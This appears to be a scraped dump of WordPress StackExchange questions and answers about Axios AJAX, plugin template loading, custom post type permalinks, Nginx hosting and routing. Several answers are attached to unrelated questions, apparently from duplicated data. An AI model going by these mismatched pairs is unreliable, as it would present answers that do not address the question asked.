[ { "answer_id": 282557, "author": "Karthik Thayyil", "author_id": 129405, "author_profile": "https://wordpress.stackexchange.com/users/129405", "pm_score": 3, "selected": false, "text": "<p>You need to send your data in application/x-www-form-urlencoded format.</p>\n\n<p>As axios sends js...
2017/10/07
[ "https://wordpress.stackexchange.com/questions/282163", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129209/" ]
I have a quick question. Did anyone managed to use Axios inside WordPress to do AJAX requests (wp\_ajax with action - calling a function) not REST API and how did you do it? It seems that Axios is sending a JSON and whenever I try the request I get a 0. However, using jQuery AJAX it works fine.
you can use FormData an example: ``` let form_data = new FormData; form_data.append('action', 'myAction'); form_data.append('first_name', 'my first name'); form_data.append('phone', 'my phone'); axios.post(myVars.ajax_url, form_data).then(function(response){ console.log(response.data); }) ```
282,171
<p>I have created a plugin that registers a custom post type. I would like to load a custom header and footer for the custom post type from the plugin.</p> <p>After some google research I can see that it's not possible to use get_header() to load and so I have tried using:</p> <pre><code>&lt;?php get_template_part('header', 'trademanager'); ?&gt; </code></pre> <p>Which I can now see is exactly the same as using get_header() and so it obviously fails. The codex has pointed me towards load_template() <a href="https://codex.wordpress.org/Function_Reference/load_template" rel="nofollow noreferrer">https://codex.wordpress.org/Function_Reference/load_template</a></p> <p>I don't really understand how to use it, can someone help me figure this out please?</p> <p>My custom theme file is header-trademanager.php and is located in plugin/templates</p>
[ { "answer_id": 282172, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>I don't believe you can change the loaded file for get_header/get_footer to something outside the stylesheet/t...
2017/10/07
[ "https://wordpress.stackexchange.com/questions/282171", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128475/" ]
I have created a plugin that registers a custom post type. I would like to load a custom header and footer for the custom post type from the plugin. After some google research I can see that it's not possible to use get\_header() to load and so I have tried using: ``` <?php get_template_part('header', 'trademanager'); ?> ``` Which I can now see is exactly the same as using get\_header() and so it obviously fails. The codex has pointed me towards load\_template() <https://codex.wordpress.org/Function_Reference/load_template> I don't really understand how to use it, can someone help me figure this out please? My custom theme file is header-trademanager.php and is located in plugin/templates
Old question, but maybe my answer will help someone. --- Short answer is: use `load_template()` function with full file server path as first argument passed to it. --- Long answer: `get_header()` using the function `locate_template()` which uses the function `load_template()` which uses the function `require_once()`. Thus, to load the header layout from a plugin or any other directory, you can directly use `require_once()` and this will be completely correct if global variables like `$post` and `$wp_query` are **not** needed, otherwise case, use the `load_template()` function passing the full server path to the file as the first argument. --- P.S. For more certainty, you can look at the files `wp-includes/general-template.php` and `wp-includes/template.php`, which contain all these functions. And you will see that there is no complicated logic in them, everything is very simple. The only reason it’s better to use standard features is support. Support for the development of WP code lies on the shoulders of the team of developers, and your own functions are on yours. But in this case, when you need to require your own `header` file - this may be a justifiable solution.
282,214
<p>I have different content on static pages and post in my WP site. On pages is not desirable to view meta in search result, but in my post is important. Meta, I mean information about author, and date in search result.</p> <p>I have created custom post-search.php. But i dont know, how to show meta information only for post in result. No for showing meta i using this part of code:</p> <pre><code> &lt;div class="postmeta-primary"&gt; &lt;span class="meta_date"&gt;&lt;?php the_time($theme-&gt;get_option('dateformat')); ?&gt;&lt;/span&gt; &amp;nbsp; &lt;span class="meta_author"&gt;&lt;?php the_author(); ?&gt;&lt;/span&gt; &lt;?php if(comments_open( get_the_ID() )) { ?&gt; &amp;nbsp; &lt;span class="meta_comments"&gt;&lt;?php comments_popup_link( __( 'No comments', 'themater' ), __( '1 Comment', 'themater' ), __( '% Comments', 'themater' ) ); ?&gt;&lt;/span&gt;&lt;?php }?&gt; &lt;/div&gt; </code></pre> <p>I just thinking about some kind of "IF". For example If its_post then execute code (which I post above)</p> <p>Thanks for your answers</p>
[ { "answer_id": 282172, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>I don't believe you can change the loaded file for get_header/get_footer to something outside the stylesheet/t...
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282214", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129235/" ]
I have different content on static pages and post in my WP site. On pages is not desirable to view meta in search result, but in my post is important. Meta, I mean information about author, and date in search result. I have created custom post-search.php. But i dont know, how to show meta information only for post in result. No for showing meta i using this part of code: ``` <div class="postmeta-primary"> <span class="meta_date"><?php the_time($theme->get_option('dateformat')); ?></span> &nbsp; <span class="meta_author"><?php the_author(); ?></span> <?php if(comments_open( get_the_ID() )) { ?> &nbsp; <span class="meta_comments"><?php comments_popup_link( __( 'No comments', 'themater' ), __( '1 Comment', 'themater' ), __( '% Comments', 'themater' ) ); ?></span><?php }?> </div> ``` I just thinking about some kind of "IF". For example If its\_post then execute code (which I post above) Thanks for your answers
Old question, but maybe my answer will help someone. --- Short answer is: use `load_template()` function with full file server path as first argument passed to it. --- Long answer: `get_header()` using the function `locate_template()` which uses the function `load_template()` which uses the function `require_once()`. Thus, to load the header layout from a plugin or any other directory, you can directly use `require_once()` and this will be completely correct if global variables like `$post` and `$wp_query` are **not** needed, otherwise case, use the `load_template()` function passing the full server path to the file as the first argument. --- P.S. For more certainty, you can look at the files `wp-includes/general-template.php` and `wp-includes/template.php`, which contain all these functions. And you will see that there is no complicated logic in them, everything is very simple. The only reason it’s better to use standard features is support. Support for the development of WP code lies on the shoulders of the team of developers, and your own functions are on yours. But in this case, when you need to require your own `header` file - this may be a justifiable solution.
282,220
<p>by default I use the <code>author.php</code> template and it's working fine but I need to make a parent page for <code>author.php</code> like facebook and other social sites.</p> <p>I want to do something like this:</p> <pre><code>site.com/author/trello/settings site.com/author/trello/personalinformation </code></pre>
[ { "answer_id": 282172, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>I don't believe you can change the loaded file for get_header/get_footer to something outside the stylesheet/t...
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282220", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125375/" ]
by default I use the `author.php` template and it's working fine but I need to make a parent page for `author.php` like facebook and other social sites. I want to do something like this: ``` site.com/author/trello/settings site.com/author/trello/personalinformation ```
Old question, but maybe my answer will help someone. --- Short answer is: use `load_template()` function with full file server path as first argument passed to it. --- Long answer: `get_header()` using the function `locate_template()` which uses the function `load_template()` which uses the function `require_once()`. Thus, to load the header layout from a plugin or any other directory, you can directly use `require_once()` and this will be completely correct if global variables like `$post` and `$wp_query` are **not** needed, otherwise case, use the `load_template()` function passing the full server path to the file as the first argument. --- P.S. For more certainty, you can look at the files `wp-includes/general-template.php` and `wp-includes/template.php`, which contain all these functions. And you will see that there is no complicated logic in them, everything is very simple. The only reason it’s better to use standard features is support. Support for the development of WP code lies on the shoulders of the team of developers, and your own functions are on yours. But in this case, when you need to require your own `header` file - this may be a justifiable solution.
282,253
<p>I have a custom post type registered: 'jobs'</p> <pre><code>// set up labels $labels = array( 'name' =&gt; 'Jobs', 'singular_name' =&gt; 'Job', 'add_new' =&gt; 'Add New Job', 'add_new_item' =&gt; 'Add New Job', 'edit_item' =&gt; 'Edit Job', 'new_item' =&gt; 'New Job', 'all_items' =&gt; 'All Jobs', 'view_item' =&gt; 'View Job', 'search_items' =&gt; 'Search Jobs', 'not_found' =&gt; 'No Jobs Found', 'not_found_in_trash' =&gt; 'No Jobs found in Trash', 'menu_name' =&gt; 'Jobs', ); //register post type register_post_type( 'jobs', array( 'labels' =&gt; $labels, 'has_archive' =&gt; 'jobs', 'public' =&gt; true, 'supports' =&gt; array( 'title', 'editor', 'excerpt', 'thumbnail', 'page-attributes' ), 'exclude_from_search' =&gt; false, 'capability_type' =&gt; 'post', 'query_var' =&gt; true, 'menu_icon' =&gt; 'dashicons-book-alt', 'rewrite' =&gt; array( 'slug' =&gt; 'jobs/%job_status%', 'with_front' =&gt; false ), ) ); </code></pre> <p>And a custom Taxonomy: 'status'</p> <pre><code>$labels = array( 'name' =&gt; _x( 'Status', 'taxonomy general name', 'trademanager' ), 'singular_name' =&gt; _x( 'Status', 'taxonomy singular name', 'trademanager' ), 'search_items' =&gt; __( 'Search Statuses', 'trademanager' ), 'all_items' =&gt; __( 'All Statuses', 'trademanager' ), 'parent_item' =&gt; __( 'Parent Status', 'trademanager' ), 'parent_item_colon' =&gt; __( 'Parent Status:', 'trademanager' ), 'edit_item' =&gt; __( 'Edit Status', 'trademanager' ), 'update_item' =&gt; __( 'Update Status', 'trademanager' ), 'add_new_item' =&gt; __( 'Add New Status', 'trademanager' ), 'new_item_name' =&gt; __( 'New Status Name', 'trademanager' ), 'menu_name' =&gt; __( 'Status', 'trademanager' ), ); $args = array( 'hierarchical' =&gt; true, 'labels' =&gt; $labels, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; array( 'slug' =&gt; 'jobs/%job_status%', 'with_front' =&gt; false ), ); </code></pre> <p>I would like the urls to be: jobs/** specific status (like category) **/post</p> <p>I found this function: </p> <pre><code>function tm_jobs_permalinks( $post_link, $post ){ if ( is_object( $post ) &amp;&amp; $post-&gt;post_type == 'jobs' ){ $terms = wp_get_object_terms( $post-&gt;ID, 'status' ); if( $terms ){ return str_replace( '%job_status%' , $terms[0]-&gt;slug , $post_link ); } } return $post_link; } add_filter( 'post_type_link', 'tm_jobs_permalinks', 1, 2 ); </code></pre> <p>Which very nicely makes that url, however it just returns a 404 error. What am I doing wrong here?</p>
[ { "answer_id": 282256, "author": "fatihsolhan", "author_id": 119138, "author_profile": "https://wordpress.stackexchange.com/users/119138", "pm_score": 1, "selected": false, "text": "<p>Open <strong>Settings > Permalinks</strong> and just click on the Save Settings button without any chan...
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282253", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128475/" ]
I have a custom post type registered: 'jobs' ``` // set up labels $labels = array( 'name' => 'Jobs', 'singular_name' => 'Job', 'add_new' => 'Add New Job', 'add_new_item' => 'Add New Job', 'edit_item' => 'Edit Job', 'new_item' => 'New Job', 'all_items' => 'All Jobs', 'view_item' => 'View Job', 'search_items' => 'Search Jobs', 'not_found' => 'No Jobs Found', 'not_found_in_trash' => 'No Jobs found in Trash', 'menu_name' => 'Jobs', ); //register post type register_post_type( 'jobs', array( 'labels' => $labels, 'has_archive' => 'jobs', 'public' => true, 'supports' => array( 'title', 'editor', 'excerpt', 'thumbnail', 'page-attributes' ), 'exclude_from_search' => false, 'capability_type' => 'post', 'query_var' => true, 'menu_icon' => 'dashicons-book-alt', 'rewrite' => array( 'slug' => 'jobs/%job_status%', 'with_front' => false ), ) ); ``` And a custom Taxonomy: 'status' ``` $labels = array( 'name' => _x( 'Status', 'taxonomy general name', 'trademanager' ), 'singular_name' => _x( 'Status', 'taxonomy singular name', 'trademanager' ), 'search_items' => __( 'Search Statuses', 'trademanager' ), 'all_items' => __( 'All Statuses', 'trademanager' ), 'parent_item' => __( 'Parent Status', 'trademanager' ), 'parent_item_colon' => __( 'Parent Status:', 'trademanager' ), 'edit_item' => __( 'Edit Status', 'trademanager' ), 'update_item' => __( 'Update Status', 'trademanager' ), 'add_new_item' => __( 'Add New Status', 'trademanager' ), 'new_item_name' => __( 'New Status Name', 'trademanager' ), 'menu_name' => __( 'Status', 'trademanager' ), ); $args = array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => array( 'slug' => 'jobs/%job_status%', 'with_front' => false ), ); ``` I would like the urls to be: jobs/\*\* specific status (like category) \*\*/post I found this function: ``` function tm_jobs_permalinks( $post_link, $post ){ if ( is_object( $post ) && $post->post_type == 'jobs' ){ $terms = wp_get_object_terms( $post->ID, 'status' ); if( $terms ){ return str_replace( '%job_status%' , $terms[0]->slug , $post_link ); } } return $post_link; } add_filter( 'post_type_link', 'tm_jobs_permalinks', 1, 2 ); ``` Which very nicely makes that url, however it just returns a 404 error. What am I doing wrong here?
Open **Settings > Permalinks** and just click on the Save Settings button without any changes.
282,267
<p>I am a Laravel developer that is learning WordPress. I have written some PHP code which displays some tables and some HTML and some get forms. At the minute I require the file on the index page in order to display it. I want to change that and only add a menu on the index page with links to my created files. Now I want to route the file, so when I write its URL I see the page from that file. e.g. <code>mywpsite.com/mygetform</code> How do I do this?</p>
[ { "answer_id": 282273, "author": "CK MacLeod", "author_id": 35923, "author_profile": "https://wordpress.stackexchange.com/users/35923", "pm_score": 1, "selected": false, "text": "<p>Agree with the comments, but still might as well provide an answer for someone coming from a place of some...
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282267", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125481/" ]
I am a Laravel developer that is learning WordPress. I have written some PHP code which displays some tables and some HTML and some get forms. At the minute I require the file on the index page in order to display it. I want to change that and only add a menu on the index page with links to my created files. Now I want to route the file, so when I write its URL I see the page from that file. e.g. `mywpsite.com/mygetform` How do I do this?
If you're coming from a Laravel background, you're going to hate Wordpress routing. For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not "The Wordpress Way." There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template. Here's how. I'm going to assume you have control over your theme and it's located here: `yoursite/wp-content/themes/your-theme` Add a new file: ``` yoursite/wp-content/themes/your-theme/mygetform.php ``` Add some Wordpress-magic to the top of this file: ``` <?php /** * Template Name: Custom Page - My Get Form * Description: Here's my custom page. */ /* include your template header here, if you need/want it. */ /* insert your custom code here */ /* include your template footer here, if you need/want it. */ ``` Now head to **yoursite.com/wp-admin** and navigate to Pages > Add Page. In your **Page Attributes** metabox (which normally hides on the right hand side somewhere) you'll now be able to select "**Custom Page - My Get Form**" from the Template drop down. This will now run all PHP you've dropped into this file (or included, etc). If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in [this article.](https://www.sitepoint.com/handling-post-requests-the-wordpress-way/)
282,268
<p>I am trying to install a second WP site on an Ubuntu 16 server running Nginx. I have successfully installed WordPress according to my server results, but I still only get the Nginx home page. I thought it might be the fact that the Group Owner was the User, so I changed group owner on web files to www-data:</p> <pre><code>microurb@vps148370:/var/www/dancortes.press/public_html$ ls -l total 192 -rw-r--r-- 1 microurb www-data 0 Oct 5 15:36 index.html -rw-rw-r-- 1 microurb www-data 418 Oct 8 17:07 index.php -rw-rw-r-- 1 microurb www-data 19935 Oct 8 17:07 license.txt -rw-rw-r-- 1 microurb www-data 7413 Oct 8 17:07 readme.html -rw-rw-r-- 1 microurb www-data 5447 Oct 8 17:07 wp-activate.php drwxrwxr-x 9 microurb www-data 4096 Oct 8 17:07 wp-admin -rw-rw-r-- 1 microurb www-data 364 Oct 8 17:07 wp-blog-header.php -rw-rw-r-- 1 microurb www-data 1627 Oct 8 17:07 wp-comments-post.php -rw-rw-r-- 1 microurb www-data 2599 Oct 8 17:17 wp-config.php -rw-rw-r-- 1 microurb www-data 2853 Oct 8 17:07 wp-config-sample.php drwxrwxr-x 5 microurb www-data 4096 Oct 8 17:19 wp-content -rw-rw-r-- 1 microurb www-data 3286 Oct 8 17:07 wp-cron.php drwxrwxr-x 18 microurb www-data 12288 Oct 8 17:07 wp-includes -rw-rw-r-- 1 microurb www-data 2422 Oct 8 17:07 wp-links-opml.php -rw-rw-r-- 1 microurb www-data 3301 Oct 8 17:07 wp-load.php -rw-rw-r-- 1 microurb www-data 34327 Oct 8 17:07 wp-login.php -rw-rw-r-- 1 microurb www-data 8048 Oct 8 17:07 wp-mail.php -rw-rw-r-- 1 microurb www-data 16200 Oct 8 17:07 wp-settings.php -rw-rw-r-- 1 microurb www-data 29924 Oct 8 17:07 wp-signup.php -rw-rw-r-- 1 microurb www-data 4513 Oct 8 17:07 wp-trackback.php -rw-rw-r-- 1 microurb www-data 3065 Oct 8 17:07 xmlrpc.php </code></pre> <p>Still, I get only Nginx home page. I restarted Nginx a couple times.</p> <p>I checked access and error logs and all I get is an error about code on the first site.</p> <p>I checked the nginx access logs:</p> <pre><code>73.197.81.232 - - [08/Oct/2017:19:10:55 -0400] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36" 73.197.81.232 - - [08/Oct/2017:19:10:56 -0400] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36" </code></pre> <p>The error logs have an error regarding code on my first site:</p> <pre><code>PHP message: PHP Notice: Undefined index: success in /var/www/microurb.com/public_html/index.php on line 295" while reading upstream, client: 71.168.149.103, server: microurb.club, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php7.0-fpm.sock:", host: "microurb.club" 2017/10/08 19:10:01 [alert] 22798#22798: *25 open socket #11 left in connection 3 2017/10/08 19:10:01 [alert] 22798#22798: aborting 2017/10/08 19:10:52 [alert] 23108#23108: *3 open socket #3 left in connection 3 2017/10/08 19:10:52 [alert] 23108#23108: aborting </code></pre> <p>I really do not know what to look for next. Why can I not see the WP site?</p> <p>I decided to do an nginx -t and got this:</p> <pre><code>microurb@vps148370:/etc/nginx/sites-available$ nginx -t nginx: [alert] could not open error log file: open() "/var/log/nginx/error.log" failed (13: Permission denied) 2017/10/08 19:41:25 [warn] 23341#23341: the "user" directive makes sense only if the master process runs with super-user privileges, ignored in /etc/nginx/nginx.conf:1 nginx: the configuration file /etc/nginx/nginx.conf syntax is ok 2017/10/08 19:41:25 [emerg] 23341#23341: open() "/run/nginx.pid" failed (13: Permission denied) nginx: configuration file /etc/nginx/nginx.conf test failed </code></pre> <p>I am not that much more enlightened now as to what is going on.</p>
[ { "answer_id": 282273, "author": "CK MacLeod", "author_id": 35923, "author_profile": "https://wordpress.stackexchange.com/users/35923", "pm_score": 1, "selected": false, "text": "<p>Agree with the comments, but still might as well provide an answer for someone coming from a place of some...
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282268", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/109760/" ]
I am trying to install a second WP site on an Ubuntu 16 server running Nginx. I have successfully installed WordPress according to my server results, but I still only get the Nginx home page. I thought it might be the fact that the Group Owner was the User, so I changed group owner on web files to www-data: ``` microurb@vps148370:/var/www/dancortes.press/public_html$ ls -l total 192 -rw-r--r-- 1 microurb www-data 0 Oct 5 15:36 index.html -rw-rw-r-- 1 microurb www-data 418 Oct 8 17:07 index.php -rw-rw-r-- 1 microurb www-data 19935 Oct 8 17:07 license.txt -rw-rw-r-- 1 microurb www-data 7413 Oct 8 17:07 readme.html -rw-rw-r-- 1 microurb www-data 5447 Oct 8 17:07 wp-activate.php drwxrwxr-x 9 microurb www-data 4096 Oct 8 17:07 wp-admin -rw-rw-r-- 1 microurb www-data 364 Oct 8 17:07 wp-blog-header.php -rw-rw-r-- 1 microurb www-data 1627 Oct 8 17:07 wp-comments-post.php -rw-rw-r-- 1 microurb www-data 2599 Oct 8 17:17 wp-config.php -rw-rw-r-- 1 microurb www-data 2853 Oct 8 17:07 wp-config-sample.php drwxrwxr-x 5 microurb www-data 4096 Oct 8 17:19 wp-content -rw-rw-r-- 1 microurb www-data 3286 Oct 8 17:07 wp-cron.php drwxrwxr-x 18 microurb www-data 12288 Oct 8 17:07 wp-includes -rw-rw-r-- 1 microurb www-data 2422 Oct 8 17:07 wp-links-opml.php -rw-rw-r-- 1 microurb www-data 3301 Oct 8 17:07 wp-load.php -rw-rw-r-- 1 microurb www-data 34327 Oct 8 17:07 wp-login.php -rw-rw-r-- 1 microurb www-data 8048 Oct 8 17:07 wp-mail.php -rw-rw-r-- 1 microurb www-data 16200 Oct 8 17:07 wp-settings.php -rw-rw-r-- 1 microurb www-data 29924 Oct 8 17:07 wp-signup.php -rw-rw-r-- 1 microurb www-data 4513 Oct 8 17:07 wp-trackback.php -rw-rw-r-- 1 microurb www-data 3065 Oct 8 17:07 xmlrpc.php ``` Still, I get only Nginx home page. I restarted Nginx a couple times. I checked access and error logs and all I get is an error about code on the first site. I checked the nginx access logs: ``` 73.197.81.232 - - [08/Oct/2017:19:10:55 -0400] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36" 73.197.81.232 - - [08/Oct/2017:19:10:56 -0400] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36" ``` The error logs have an error regarding code on my first site: ``` PHP message: PHP Notice: Undefined index: success in /var/www/microurb.com/public_html/index.php on line 295" while reading upstream, client: 71.168.149.103, server: microurb.club, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php7.0-fpm.sock:", host: "microurb.club" 2017/10/08 19:10:01 [alert] 22798#22798: *25 open socket #11 left in connection 3 2017/10/08 19:10:01 [alert] 22798#22798: aborting 2017/10/08 19:10:52 [alert] 23108#23108: *3 open socket #3 left in connection 3 2017/10/08 19:10:52 [alert] 23108#23108: aborting ``` I really do not know what to look for next. Why can I not see the WP site? I decided to do an nginx -t and got this: ``` microurb@vps148370:/etc/nginx/sites-available$ nginx -t nginx: [alert] could not open error log file: open() "/var/log/nginx/error.log" failed (13: Permission denied) 2017/10/08 19:41:25 [warn] 23341#23341: the "user" directive makes sense only if the master process runs with super-user privileges, ignored in /etc/nginx/nginx.conf:1 nginx: the configuration file /etc/nginx/nginx.conf syntax is ok 2017/10/08 19:41:25 [emerg] 23341#23341: open() "/run/nginx.pid" failed (13: Permission denied) nginx: configuration file /etc/nginx/nginx.conf test failed ``` I am not that much more enlightened now as to what is going on.
If you're coming from a Laravel background, you're going to hate Wordpress routing. For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not "The Wordpress Way." There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template. Here's how. I'm going to assume you have control over your theme and it's located here: `yoursite/wp-content/themes/your-theme` Add a new file: ``` yoursite/wp-content/themes/your-theme/mygetform.php ``` Add some Wordpress-magic to the top of this file: ``` <?php /** * Template Name: Custom Page - My Get Form * Description: Here's my custom page. */ /* include your template header here, if you need/want it. */ /* insert your custom code here */ /* include your template footer here, if you need/want it. */ ``` Now head to **yoursite.com/wp-admin** and navigate to Pages > Add Page. In your **Page Attributes** metabox (which normally hides on the right hand side somewhere) you'll now be able to select "**Custom Page - My Get Form**" from the Template drop down. This will now run all PHP you've dropped into this file (or included, etc). If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in [this article.](https://www.sitepoint.com/handling-post-requests-the-wordpress-way/)
282,270
<p>When I filter media library to display only the images I want to include in a gallery (by a shortcode needing images id), it would be very useful if Wordpress showed somewhere a list of the ids of the displayed images. Currently I open images one by one to retrieve their id, and I feel this should not be the right way to do it.</p> <p>Since I'm a Wordpress newbie, it might exist a different way to achieve the same result, such a plugin that I was not able to find, but anyway the functionality I described above (which I have not idea how to achieve) would solve the problem, and I think it would be very useful to many.</p> <p>Thanks in advance.</p> <p><strong>Follow up</strong></p> <p>Building on Sunil Dora answer I wrote this snippet which allows to select images by one or more (by AND operator) category terms and use an existing shortcode to create a gallery (in the example below a Shortcode Ultimate plugin shortcode is created and executed, but you can tailor the snippet to build any kind of shortcode you want). I believe this functionality is very powerful because you don't have to modify your shortcodes to update your galleries, but you only have to assign the right category terms to attachments. For example if you want to add an image to a gallery, you don't have to edit the shortcode but just upload the new image and assign the right category terms to it. Here is the snippet, I inserted it at the end of my <code>funtions.php</code>, I hope someone is able to build a simple plugin with it and notify that here.</p> <pre><code>// usage: [mmj-taximids categoryname='media_category' categoryterms='term1,term2,term3'] // usage: [mmj-taximids size=120 categoryname='media_category' categoryterms='term1,term2,term3'] add_shortcode('mmj-taximids', 'mmj_taxonomy_image_ids'); function mmj_taxonomy_image_ids($atts) { // Attributes $a = shortcode_atts(array( 'categoryname' =&gt; 'not_provided', 'categoryterms' =&gt; 'not_provided', 'limit' =&gt; -1, 'size' =&gt; 180 ), $atts); // Output Code $tax_query_array = array(); foreach (explode(',', $a['categoryterms']) as $value) { array_push($tax_query_array,array( 'taxonomy' =&gt; $a['categoryname'], 'field' =&gt; 'slug', 'terms' =&gt; array($value) )); } if (count($a)&gt;1) {$tax_query_array["relation"]="AND";} //print_r($tax_query_array); $args = array( 'post_type' =&gt; 'attachment', 'post_status' =&gt; 'any', 'post_mime_type' =&gt; array( 'image/jpeg','image/gif','image/png','image/bmp','image/tiff','image/x-icon' ), 'posts_per_page' =&gt; -1, 'tax_query' =&gt; $tax_query_array ); $query_images = new WP_Query($args); $id_list = ""; foreach ($query_images-&gt;posts as $image) { $id_list .= (($image-&gt;ID) . ","); } return do_shortcode("[su_custom_gallery source=\"media: ".$id_list."\" limit=".$a['limit']." link=\"lightbox\" width=\"".$a['size']."\" height=\"".$a['size']."\"][/su_custom_gallery]"); } </code></pre>
[ { "answer_id": 282273, "author": "CK MacLeod", "author_id": 35923, "author_profile": "https://wordpress.stackexchange.com/users/35923", "pm_score": 1, "selected": false, "text": "<p>Agree with the comments, but still might as well provide an answer for someone coming from a place of some...
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282270", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/113609/" ]
When I filter media library to display only the images I want to include in a gallery (by a shortcode needing images id), it would be very useful if Wordpress showed somewhere a list of the ids of the displayed images. Currently I open images one by one to retrieve their id, and I feel this should not be the right way to do it. Since I'm a Wordpress newbie, it might exist a different way to achieve the same result, such a plugin that I was not able to find, but anyway the functionality I described above (which I have not idea how to achieve) would solve the problem, and I think it would be very useful to many. Thanks in advance. **Follow up** Building on Sunil Dora answer I wrote this snippet which allows to select images by one or more (by AND operator) category terms and use an existing shortcode to create a gallery (in the example below a Shortcode Ultimate plugin shortcode is created and executed, but you can tailor the snippet to build any kind of shortcode you want). I believe this functionality is very powerful because you don't have to modify your shortcodes to update your galleries, but you only have to assign the right category terms to attachments. For example if you want to add an image to a gallery, you don't have to edit the shortcode but just upload the new image and assign the right category terms to it. Here is the snippet, I inserted it at the end of my `funtions.php`, I hope someone is able to build a simple plugin with it and notify that here. ``` // usage: [mmj-taximids categoryname='media_category' categoryterms='term1,term2,term3'] // usage: [mmj-taximids size=120 categoryname='media_category' categoryterms='term1,term2,term3'] add_shortcode('mmj-taximids', 'mmj_taxonomy_image_ids'); function mmj_taxonomy_image_ids($atts) { // Attributes $a = shortcode_atts(array( 'categoryname' => 'not_provided', 'categoryterms' => 'not_provided', 'limit' => -1, 'size' => 180 ), $atts); // Output Code $tax_query_array = array(); foreach (explode(',', $a['categoryterms']) as $value) { array_push($tax_query_array,array( 'taxonomy' => $a['categoryname'], 'field' => 'slug', 'terms' => array($value) )); } if (count($a)>1) {$tax_query_array["relation"]="AND";} //print_r($tax_query_array); $args = array( 'post_type' => 'attachment', 'post_status' => 'any', 'post_mime_type' => array( 'image/jpeg','image/gif','image/png','image/bmp','image/tiff','image/x-icon' ), 'posts_per_page' => -1, 'tax_query' => $tax_query_array ); $query_images = new WP_Query($args); $id_list = ""; foreach ($query_images->posts as $image) { $id_list .= (($image->ID) . ","); } return do_shortcode("[su_custom_gallery source=\"media: ".$id_list."\" limit=".$a['limit']." link=\"lightbox\" width=\"".$a['size']."\" height=\"".$a['size']."\"][/su_custom_gallery]"); } ```
If you're coming from a Laravel background, you're going to hate Wordpress routing. For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not "The Wordpress Way." There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template. Here's how. I'm going to assume you have control over your theme and it's located here: `yoursite/wp-content/themes/your-theme` Add a new file: ``` yoursite/wp-content/themes/your-theme/mygetform.php ``` Add some Wordpress-magic to the top of this file: ``` <?php /** * Template Name: Custom Page - My Get Form * Description: Here's my custom page. */ /* include your template header here, if you need/want it. */ /* insert your custom code here */ /* include your template footer here, if you need/want it. */ ``` Now head to **yoursite.com/wp-admin** and navigate to Pages > Add Page. In your **Page Attributes** metabox (which normally hides on the right hand side somewhere) you'll now be able to select "**Custom Page - My Get Form**" from the Template drop down. This will now run all PHP you've dropped into this file (or included, etc). If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in [this article.](https://www.sitepoint.com/handling-post-requests-the-wordpress-way/)
282,282
